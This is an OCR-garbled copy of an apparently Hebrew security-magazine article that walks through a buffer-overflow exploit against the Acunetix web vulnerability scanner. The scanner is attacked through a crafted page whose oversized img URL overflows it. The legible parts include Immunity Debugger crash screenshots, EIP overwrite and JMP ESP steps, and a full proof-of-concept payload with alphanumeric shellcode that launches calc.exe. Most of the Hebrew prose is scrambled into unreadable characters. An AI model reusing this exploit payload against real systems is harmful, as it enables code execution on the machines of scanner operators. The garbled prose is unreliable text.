YT'™Mn NNLAX 7Y Xan ITH ,2N'A'UPNX N1AN

(An7i) [n2 T "y anda

nxn? ym

NN71 X7 'N'¥Y VTNAN DNLVAXR D71V2 WTN 090117 7V AIWNY7 'MAY' ,DINNKRD D'YUTINN 70NN
NNVIX NI'YAY NINND KIXAY7 'N'011 'MAY' N7NNNA .NRI DIVY YTNI YN INYN ,NYTN NNIv2
DY 'I¥N IR 1AW D9 DY (IDY 'M9N0A 7Y WINNN 72007 Myl qioa7l nniv yTn

Mo APXNII NTN P2TIAd NINNKRN

DNAY N9'PNN 7D DX L,'MXY DR 'M7RY . Qpon T [I'VY Y7 N7V ,Nawnn 11D nd INXRY? 91017
NNUINN VITIVOQ DAXYA DAY ,NNVAN NIY?IN MNXK?7 NN 7Y DYSY DYON D'WNNWN 11NN

?71Ta% DN DN

IXN 701Xy D'721 NNVAXK NN YIINT NN 7V NVAIXKA NIN'D NUAITINANY 1AN) N9'PNN "D DR
,NO'PN 7w 07T 22 7Y 0'71ITIR 0'NNSN DTV NN XUN2 IKVN DAYV 0750 'NN9N NNY
AN XIXNY M7 IR AW AT DA NND L'MYYY? 'Mavn ?n1iann binR by aivnY indww Ty
17'9X IX "700 N0 DINA7 721X 'TAY 12 WNNY' INW'N DXY D NN IX DT NNVAX 71102 NNVAX

pnmm Tip nxn?

D71yN '2NN2 0N DMPRN D'YNWUN QYR DYI91 NNLVAX Y72 79U An'Ya mxy? "My D iy
78 NITN 71010 VINZRNN YN NIND 7W NNATN AWONNA N9'PN *72 NT'R , TR TNX [IN27 'M7nNnl
1190 2NI* 0''0N NI'NY D'V 1770 DY) NIND TIjP2 1AN2IW ANVIAKRN 72 NIX 'N2'0 [N NXR7 .70

.(nim'e nrlyo

MOONY D790 JNN.'NIAXNY DIIMOMPZN 722 1TAY TWK DX 7D 1901 VAN MINNRD MY
NN 2y DUYIXEN NINSI D'7'NNN DNPRN 2172 NI YI9IN NNVARN 7D NN INAYZ Y M

.071¥yN "2NN DNERN 7Y IN1Y 700 2N NIV D107
Acunetix 'OnIVIXN NPMION *7D 1N NIR'TAN 770 Nn7wn NKY

NX PN07 YyTI' "0 \WEB-n DINNA 7702 Ny X7 NTIAY NWIY QWK "'0RY79X 110 11'D Acunetix
yT'n NNVAX NIY7IN ANKR71 (D1Y D210 NIR7 TX NIdY 7713) 17w DINN 775 IR 10197 NN 7D

Joayvna
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QX 7y T IR YARn 0-2 NN NIRXIN 2'Wn7 D2M1YN WK LT 210 DNPZRN 2072 Y191 TIRN 790
"MNA7 'NNN ERN ,NNAT? D .0'Y97 NIV NIRXIN INKR 7277 N1 ,'791 win'yn 7Y Nivwosn
NIY72IN W 0o I'T7 7apE% DIM L,PTAIN ANKA D'OYR Y NNIY NEX719'I0 Yxa7 VTP DR WUR
DY ONXRN NPN0 T 7Y NIowoa L TivE SQL injection, SSI injection, XSS, CSRF Nnalm™> nNLAX

Rrbh!

N9"YY7 y1an? qr oMWY 0NNRY 20 21 Yy¥a? ,poon |1'01 K77 DN 0'9RINT NMYORN IT NTAIY
7722 P17 IRD D'NVAIRNA DR WK ACTY DINRND 'RIWN '0'0ND NNAITD D'WAN DM Y

J2¢ Np'Ta7 0Ywin Tavim 1'0 Acunetix-w 'monn ,n7un 'many niaon

JUTTN WNNWUNN 7Y PINNN NIVNWN QWORN TWUKR D1 'Y NWRIN KIXN? 71 R 1'WDY
N71¥9> 1ANONI 17N ,MIYKI NAWNNI TIKA DY NN'WND NRNIY NN XWIN 72V 21wn% M7nnnwd

JIXT7 AW NNt DNImx N1'RY

NIYXINY NIY9N 7D ,qpNinn wnnwnn - 20 179 yTnan 7D DX are *oa narm d"ho
NIXNY7 |5 DX IXW] .0N7 1'2yNn IRY D'0770 7V NIRT NIYIY ,001UN 0'0770 7V NIprTAL DrY1on

L2207 INARE,NYAY NNIXD 'MIN7YY VTN DR 109N TWK NY'aon Nn'X[2119N NX

yixnn

NYN] 'MRXNY NIYRIN NOMANN Acunetix 'MI7NN ,NN0NY "Xy DX MYUTZN 0M' YIAY 170n2
M7NNNE NYRIVYN MIDNN 7Y WAMP 210n 01101'R MY MIgnn .(J2md N7RI0Y Mdn 7y)
,Sql Injection-1 XSS 123 ,NN2IN NIYZIN 1A10 ' 757 Y'A9W 01NVYI'R INK 'NAND A7'NNA .7NYY

XINND TR [NI'T NIR"AY X" mronl q0n2 DIt 7w 19102 l"||7I]']'7 AXIN YT AT'X 22102 'MpT1Al

NI017 NN XaN 27N (179 V) NIV NIXA jam 7021 7"In vINYRN D DKM NPT DAl NKRY
NX¥IN [AT2 QUKD 78 ONRNN VAN YT ATR PIT7 Mo D0 YW quirn 0N NIY7IN ANKYI

.0wn qIpn N1 *mn

17¢ NIMI711000 DX DIAT? NN 72V 70010 NRN 7% HTTP Nwza n71v n¥Inn N7'NN2 qQURN PR
X UNNun? a’xnl DNIXAN DX 10191 quRN L(HTTP-n nanna o'7apnnn 0NINan inn)

LTIVE DWW T DY 210 ,NWN 210 NIX ,NIIWA NIARIDLVN

VTN NNVIAX 7W X2 TN L,NM0PK NN
www.DigitalWhisper.co.il
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'0j7N9) BURP D'M'N 120wn 2y AINKN *701 '"MunnYn ,"70n 79 NTn 0PO0KN NX 71T N 7y
7¥ N'ONIVIX N97NN YXA7 NN AT 702 NIMNWORNN NNXR NN NI NIFMNWOKR 7 'ipn

.(nitnnn

q"7nn? BURP-7 'm1Tan pn nXY? .(BURP) "7 'opnon 10T 1A'y Acunetix-7 'MYTan n'7'NN2
AT ,XNAIT? D .71TA7 'M7NNN1 DiNNX NRIYNA Y WAMP-n 1MW NIYN IR N'OUNIVIK NIX2

22NN 7V TN MK ANTAY NAIWNN HTTP nwpa nwl 7w AnNRN DX DAT ACUNETIX-w

Server: Apache/2.2.3
X-Powered-By: PHP/5.1.6

2D NAIYN 1'ThN? BURP-Y mman

Server: Apache/2.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA x5000
X-Powered-By: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB x 10000

N0 X7 NPMORD  NIFAY TN 1770 NI TAN W X7 AN

A'¥N 0¥V *720 .NPN0Y7 0'901IN DIMMITH NN'YY NN NN Acunetix 7w Npnon QU Xan 27wn
DNA7 D T 701 7Y NNIXA 21010 INRY DNIYR NIFNY DNINK WK DIY DYIT M 7 qRing

SN2 DNIXR PN071 TN DR XRY qpIng

:NINQN N2IMDA W 21720 T Y700 DK YN DX NNAIT? D
http://an7isec.blogspot.co.il/

QUXNAN RN NAIANN DX '73.|77]

Ll Scan Wizard El BIIEI

File  Actions  Tools  Configuration  Help Finish

@ P @ e After analyzing the website 1esponses, we have compiled alist of recommendations for the curent scan
Taols Explorer NN

| Profile: |Default - Start
] web Yuiner atility Scanner AcuSensor setup
[& web Scanner mac WEB APPLICATION SECURITY
2 Took g\ AeuSersoris snabled on dcunsts WS bul seems it to be conligured on
B ke Craler T\ taet serve(s). Instal the sensor on your taiget serverls). | the sensoris alieady
Web installed, set the comect password for the server(s] by clicking on customize. You
) Target Finder can verily if a specific server respands by using the test buttan from the sensor
£, Subdomain Scanner Mo dat settings.
) Blind 5QL Injector
[ HTTP Edter e o

. HITP Snifer . To Addtional hosts detected
- HTTP Fuzzer
5 Authentication Tester
0 cCompare Results
(== Web Services
&) Web Services Scanner
&7 Web Services Editor
(== Configuration
1% Application Settings
[# scan settings
2] Scanring Profiles
(== General
@) Program Updates
(i3] Version Information
e acunetix
&] Purchase
€] User Manual (htmly
&) User Manual (pdf) ¢Back J[__Fiish | [ Concel |
& Acusensor

\i‘) Some additional hosts were detected, Check the ones pou want to inchude in the scan,

img2 blogblog.com

wmwe.blogblog com

Save custamized sean seifings

€ ) Youcan chonse Io save the settings youlve made for future scans. This can be usefullif you are
2/ planning ta scan more similar websies. You can alsa chase to save the settings in a new fle by
clicking the below button

@9 Acunetix Led & 2012 Al rights reserved,

Activicy Window

04,22 16:48.27, Fopulate application menus ...
04,22 16:48,26, Fopulate tocls bar ...

04,22 16:48,26, Fopulate tocl explorer ...

04,22 16:48,28, Load Serverlnfo 2ML ...

04,22 16:48,31, Determiring necessary updates ...
04.22 18:48.31, o patch updates are avaizble.

"~ Application Log [Error Log

Ready

VTN NNVIAX 7W X2 TN L,NM0PK NN
www.DigitalWhisper.co.il
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Acunetix T¥' ,|2 DX .NP"™07 D'O01N D' AIT 7W NN'WA A'¥N QUKD ,10NN YXNND NIRYY [NIY 19D

.NVIYD MIYNN 29 ndwn? OMIYpY 0''MiIT nint? v

('1D1 default.asp ,Index.php) MIUXIN NNATA 770N NY2 710 KINY IYXIN TN 2V 121y Acunetix
somesite NTNNNAN |2 NHYN "20 DN INKY7 .http://somesite :XaN DINN ¥ DX DINY WONNI
1IN'N YR NQITAY NN 700 NINT X7 DITNNNN DX L7110 YA KINW INRD 7¢ ntnnnn 2%

.0'9011N D" AITN 12210 DX 21TA7 'NU7NN DT 27w .NPNI0% Qo |"NITY NTNNAN NX A'XNI

1901 Y7 7w ANKRYT 'Mo0oIn

http://AAAAAAAAAAAAAAAAAAAA x 5000

INIX 'NIN'0 ,PN07 ["MIIYN IR '7IRY qOI ["NIT3 7"In NTNNNN DX "7 2'¥n Acunetix -wD pn NX7?

.D"2'VN 7m "7 0'7v1 Acunetix NN NN ,'MIROYW XA N2TN .N2N0 'M7NN0NI

vinmn

27250 NoMpPY 1A pirTa Ty Debbuger niyxnxa pIma7 w200 7w N0 11Mwnw INR7 Nyd

:N0"MPN N2Q'0 NN NOWN Immunity Debugger M2 701 7w nx1n

2| Immunity Debugger - wvs.exe - [CPU - main thread, module wvs]

[C] Fie ¥iew Debug Plugns Immiin Options Window Help Jobs

% T x » § i mtwhcPkbzr..

| £23:41:271 fccess violation when reading [4141413%1 - use Shift+F7/F8/F9 to pass exception to program [ [Paused

MINN 7Y PINN DX 01T (AAAAA x 5000) MX'W TR ["RITH DY ,7'W7 NAMN2 NINAY [N1IY 19D

INNAN NIvA 41414139 nn''p N1I'RY [ND'T NAIMd7 nwn [I'"0'1 NNV n71vo ,EDX

MOVE ECX, DWORD PTR DS: [EDX-8];

VTN NNVIAX 7W X2 TN L,NM0PK NN
www.DigitalWhisper.co.il
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D' .SHE Based exploit-7 72107 n'n 720'w nn ,01T SEH-N N1an Da D 'nan? [N N1 Q7w

.SafeSEH-n 12200 DX qIy7 [N K7W NDIAY7 NIn 2y 71 9"10 [1'01n v 1ITaTia o

N7¢ NITTN NTNNNAN DR RPN DNIRY (1YW RT? TINN 21wn . ASCH-NNX n7'na 7nar'on nn
nn L 9TOT? N'NITTY NTANNY NNN N2V DTRNAN LIN'D ['IT? AWy 79 nTnnn na '75%

.00 Y ASCH nfaw 17'9x TN 1N 221 nnn 1ay ASCIH R1'RY 1N 70w MIKY

7 "N vn HTTP://AAAAAAAA.com NTINNNN XAAIT? D

HTTP%3a%2f%2fAAAAAAAAAS2ecom

IN DIYA ,yNa N ASCH 111'RY 1IN D12 179 0*17907R2 WNNWNY 7510 K7W 27 nnia Ir nTaiy

DNV N7 WRIN 12D TWONY DN 190N 707 ,URL Encode-n 7'7nN2 nnin Naiyw

N7 9T DN NNd TIVE ,DM90N  NIFMIRA 71X 1AW 0117907PR 1IN IR MYA DT Q%8

([ 1~ () md) URL Encode-n 7*7nN2 nnn 0MAty

AIPN71E 'wnnt myRa Y1 SafeSEH-N 112 X qipy? [N X7 1990 nivpn niaann apy
NIV MNI' N9'PN NTAYY Y1ANYTI NI017 NIn 2y N'DINN NNAT DX JPN71 NI017 N Xan A7wn

nn"tT NX |'1ﬂ'7 "2V D' DYDY ,NNY NNN21 00T EAX-W [11'D .NYD D'RXN] NNIX NAY NTNynn

J1"DINN W n0MP7 DNan X7w NN oy EAX DX 0NTY1 10171 NMDINN

DY EAX NAIRDN DX ONT7 "W ,0NPN X7 N'DINNY NN 720Y 'MIX 2T TIgn 79 X nypen
) WNNWNY [N DAY D'EXIV'0d 7AKR ,NINK N'RIV'O 701 NMNAWAW 1T L,ARMP [NDT NN

.D2IoON N7 NO9IN N71Y9N ,0'TTIA DN NNd TIVI D901 NIMINA

NIYYNINA "7V YRa¥NY NI WX ARNPZ NIRYIN DY [ND'T2 VIR 2N NXR7 'MN7yn 210 7my
|2 DX .500f :1'n ASCI-2 n7w aix'n QUKD 0x663030XX :nN*n 7"10 NaMdN ,'NIvIaY Dinn
N7'NNN 0N 268 TNXY) EAX DK ONIT IR QYW '"7¢ NTINNNA 21N DIP'N DX 'MIXYAY TNKY

W9 MNYNY 19D X7 1ND'T 7w Namdn oy EAX Nk oNT7 ‘Mo (Mtnnnn

2 AR W 0T7907KN NYD

<img src="http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAS500fBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB”>

VTN NNVIAX 7W X2 TN L,NM0PK NN
www.DigitalWhisper.co.il
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N'Xp2219 N2Nn mnnyY ,[12INND ND'YUNN1 NYpNl X7 N'DINN W AT |PXY AN'"'N AKRXINn

.EIP 72Ix0 7w 21MDW NIY¥NNA DYSNY 71 ,NWTN NON77 NNNA MNa7 NNNKR

4 Immunity Debugger - wvs.exe - [CPL - main thread] [NEE
[C] File wiew Debug Plugins Immib Options Window Help Jobs -3 x
O%EE WXl i lemtwhcPkbazr..

[B8:23:451 Access violation when executing [424242421 - use Shift+F2/F8/F? to pass exception to progran [ [Paused

7¢ NOMT? NNMA (N12Y DY B NIRN NX 1700 TWK) "7¢ N9'PNN NTNNA 910 ,NIKYY [NIY '9)

EIP 22k 2y Mo nwun? nnet e nn  nexpadn nnxa (RETN) natnn namd

TN 12D EIP yITD1 DI NDIMN 7w NI'Yon qwnna nu'e pnivawn EIP-n NI 7Y oY
Y1977 10T ONK7 NN NOPNNN WIN'MA [NNXN 2A7WUN .Y¥27 Taynn 720y nkan NXIINN 7y yfaxnn
193 ,N1DIN VYN NN A72WON "IN NN WD n7ve wxa? nan v 17w Shellcode-n 7y
1'729Y NN 'Dw D LESP-n IR T 7Y nvaxin i “BBB”-n NTinnn L7'w7 namna nik? nav

121 CALL ESP IX JMP ESP nyxan (WX [N'T2 NTIPO INXRY XN N7W TIR7 Y1977 NIn 72y NiwyY

D'TAIM DN NND TIVI DMINARKDZX DN 01 X WNNwn? 19 [Ty L [amd TN nan
NNMN2 NI'NIN DA M N2 DITIRSI NITNNN woN? N1 ,Mona w21 X791 §OINY7 NITIN .0 TTIA
[N2'T2 JMP ESP 7w Dmipmn 775 DX 72177 "7 "MwWO'™R mona-7 nuIYD NXIIN .0N7Y D'1''ONNY
DIV X7Y DN NI7ONN NIRYIN 7@ 1'0 ,ASCII-Q a7 D'INN 050NN D' DNAIMD WX

QITTIA NIXXIN QY 'NIXR N'Rwn URL ENCODE-n 7722

NXRX¥N JQy~ 12'n ASCII-2 nax' AWK 0x7e79515d [1Nd'Tn Namda .07nm N7'90N NIRXINNAN NNX

2 AR 17w 0M790RN ASCIL - 7 NIAmdN 775 N nKY Nwdi JMP ESP nrainn

<img src="http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

VTN NNVIAX 7W X2 TN L,NM0PK NN
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AAAAAAAAA500fBBBB]Qy~BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB” >

.(MDINN NNT DX [PN7 NN 7Y) ARNP |ND'T NAIMDY NYaXn 2y 'RINK - 500f
7Y TN ARWYT Y197'7 Nan 7 JMP ESP NTIR9Y NyaXn 7V 'RINKX - JQy~

ZNQN DRXINN IR NN 777 0M179077K8N TA1D Y7200 7w nxIn

|C] File view Debug Plugins Immlib  Gptio jow Help Jobs =
B X p 11w ¥ lemtwhcPkbzr..

[tmona find -type instr -s “jmp esp"
I I [Paused

NM'Y' NN LN NRXYINNT IR ITRON VM790782 D'VINTIRN 77D ,7'W7 N1IMNA NIKYY NIY 19D

.19¥ Payload-n n7'nn 7w N> namd

N71Y9 y¥17 TWoOrR' TWN Shellcode aMd7 / Ax"% / RXixn%? 11'n 0M1790PRN WM Xan 27WN
D'INA X N2 NIFN? Y 17w Shellcode-nw nTavn X'NOMKD 'MYYA DN AT DY)
W7 AN '9) URL Encode-n *7nNa TIT'? DAY DI'RY DTTIA DN 190N TIVI D'MININD'7IN
1'n "alpha upper" XnaIT? ,Metasploit NNIDLV?S NIv¥NXa X7 N "0 10NN Shellcode
-NY XTI7 2N 7"10 a10nn Shellcode-a wnnwn? nin 7y .12%2 X97X 'INn 1710 1120 Shellcode
LEAX MIRN T 7V yaxim Payload-ni NN ,XNAIT? )0 .DNAIRNN TRXR T 7V yaxim 17w Shellcode
WUNNWI ,XNAIT? 17w 0"179077K2 .Shellcode-n Ny nya 7"1n NaIkN DR Metasploit 7 7' Tan? v

X2"10 "aRn T 7Y nvaxim PAYLOAD-N 7w nrnnnani nifn JMP ESP-a

VTN NNVIAX 7W X2 TN L,NM0PK NN
www.DigitalWhisper.co.il
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29 naxn NDIN? Impon (WX "alpha upper" a1on Shellcode-a mwnnwn POC-n winm IxY

2 NXN 7Y 017907RN NYD L"Calc.exe™ MIN1'AN

<img src="http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAS00fBBBB]Qy~TYIINIINIIQZVTX30VX4APOA3HHOAOOABAABTAAQ2AB2BB
OBBXP8ACJIHZXLOID414ZTOKHISLMUKVPZ6Q0O9X1P26QPZTWS5S1JR7LCTKN8BGR3RWS9
INYLK79ZZ165U2KKLC5RZGNNUC70NEPBOQOUTQMXPNMMPV261UKL71ME2NMP7FQYONOHKP
KZUDOZULDS8PQ02ZXM3TCZK47PQODJ8052JNUON72N28MZKLTNGU7ZUXDDXZSOMKL4SQK
UNKMJPOOCRODCMDKROPGQDOEYIRVMHUZIDOGTUV2WP30IVQ1QJSLSKGBLYKOY7NWWLNG6
LBOM5V6MOKF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649DZTPP26LWSQRLZLQK15X
UXYUNP1BPF4X6PZIVOTZPJJRUOCC3KDIOLO34LDOXX5KKXNJQMOLSI6BCORLOWXQNKPUWN
KRKJBJSNS4YMMOHT3ZQJOHQ4QJUQLN1VSLV551QYO0YA”>

0"17907XN NIX 72NN WNX TA1D Acunetix-7w n¥IN .Shellcode-n 12'N DITRA PIONN 77NN UKD
AWONN WK TAIWI 7'WO 0M7907K NWyn7? 117 W' nTh 27w nwd .Calc.exe 7w nx1n7 n'amn 7"an
0NN ['MITN NX [NO' [2Nd1) N7W MNXN TA1D Acunetix NP0 Y'Y QpIN 72 2V 7niNn T XN

(D'MmITh nn'wna N

YIIX NOTIn

q1907 ,NAN 27¢% a7 'Y Tay UTMYO0PN NIN'D NI'NY NMP'YN NNUNN NAYINY INRT7 NYd
NXRYINT Y1an? Nin 7y AN 0'woron DX 71 X710 DNDPRD NI'Y DNd 7'9'w N7 0MI7907RN NI

.NN'YINN 01N ["AITN NIX [A07 IZRNN NIXK NNAY T¥D 2wn? 7y nn 7"1n

JMOY NMYNE NYRANA DNRD LAY DEARITINA Y 'MNNO D Ix?

[NO71 NIXT? qQPIN7 DNA'Y D "MITH Y7 NNan TIXNA OW NNY NIVYOD :NIYKRY DAITIND e
“Admin”, “ControlPanel”, mnaI™ |"nITh OW7 NNan 0'7'n 9'0INY TWOXR D NIX7 JNIX
.NIm™I “ManagmentDomain”

971NN W AXRA 'on R CG(NNToan N Mg AImnn. e
DX ,D2 ,NXRY' XINY D'X¥N INIRY N DR AR QPINNY AIRT? 117V ,0'Y0NN IR wnn? nin 7y
Q?IN7 DNA7 N713' INTION NIIXA D'90IN D' AITA [I7N 7Y N2 ,XNAIT7 7D .07NIM WPY INT

.NNXY NPN0N 7Y NITNWOKR 0N 7V 70N0Nn KINY 'aRN7 NIy 10IN 7 yaa

VTN NNVIAX 7W X2 TN L,NM0PK NN
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NWONN DX MuNN X TYD NIKY [N AXAN NJINN2A
"@ . b El|ﬂ
File:

Actions  Tooks  Configuration  Help

Moo aaEes 6aen|sdsol
Taals Expl DS | & | daf 2 st UL b
[)] web vulerability Seanner

S weh camner M acunetix Sgan Wizard
= (5 Tooks Finish

(3 Site Crawler Web Scanner
& Target Finder

£, Subdomain Scanner
J Bind SGL Injector
= HrTP edtor o Tostananewsca
& HTTP Sriffer + Toload the results
TR Fuzzer

- | Profile: | Default - | & start

WEB APPLICATION SECURITY

After analyzing the website responses. we have compiled a list of recommendations for the cument scan.

No data to display. Star
AcuSensor setup o]

AcuSensor is enabled on Acunetix WS but seems nat to be configured on the
T\ target serverls). Install the sensar on your trge serverfs) If the sersor is
alteady installed. set the comect password for the server(s) by clicking an

customize: YYou can veilly i a specifc server respands by using the test button
from the sensor settings.

) Authentication Tester
[ Compare Resuls
(= Web Services
&1 Web Services Scanner
& Web Services Editor
(=[5 Configuration
1% Application Settings
4] Scan Settings
2l Scanring Profiles
(= (= General
@ Frogram Updates
[1.0] Version Information
(& Licensing
] suppart Center
&) Purchase
) User Manual (html)
&) User Manual (pdf)
& Acugensor

Case insensitive server

5| Itssems thatthe server is using CASE insersitive UFL, I you want o set case insenslive
\l‘) cranting check below. otherwise value from settings wil b used

Cocc

Addiional hosts detected

\j‘) Some additional hosts were detected Check the ones pou want to include in the scan,

CSRF.

DeepScan.
Denial0fService,

S0LInjection.

acunetix

Save customized scan setfings
Activity Window

04,23 06:38.11, Populate appl < Back ][ R ] [ Cancel ] ~
04,23 06:38.11, Populate todk = =

04.23 06:38.11, Populate tool Expmorer

04.23 06:38.12, Load Serverinfo XML

04,23 06:38,14, Dekermining necessary updates ...

04,23 06:38.14, No patch updates are availatle.
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